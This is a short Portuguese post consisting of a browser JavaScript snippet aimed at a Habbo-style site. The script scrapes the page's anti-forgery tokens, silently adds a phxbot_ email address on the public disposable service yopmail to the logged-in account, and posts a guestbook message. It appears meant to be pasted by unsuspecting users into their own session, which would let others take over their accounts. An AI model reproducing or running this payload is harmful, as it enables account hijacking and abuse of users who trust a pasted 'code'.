Código:

function random(len){var i, chars='1234567890QWERTYUIOPLKJHGFDSAZXCVBNM', str='';if(!len)len = 15;for(i=0;i<len;i++)str += chars.substr((Math.floor(Math.random()*(chars.length+1))),1);return str;};
var rand=random(8);
/* por edi472 :),  adaptado por phoenix */
a=Ajax;
email = '';
new a.Request('/identity/email',{
  onComplete:function(x){
    x=x.responseText;
    new a.Request('/identity/add_email',{
parameters:'struts.token.name=addEmailToken&addEmailToken='+x.match(/name="addEmailToken" value="(.*)"/gi).toString().split('value=')[1].split('"')[1].split('"')[0]+'&email=phxbot_'+rand+'@yopmail.com&__app_key='+$$('meta[name=csrf-token]')[0].content,
     onComplete:function(p) {
      try{
      if(p.responseText.toString().match(/error.email/gi) || p.responseText.toString().match(/register.error/gi)  ){ alert('Erro ao usar o código\nExecute novamente.') };
      }catch(e){}
     }
    })
  }
});
new Ajax.Request('/myhabbo/guestbook/add', {parameters:'ownerId=123&message=phxbot_'+rand+'&scope=1&query=&widgetId=16048762'});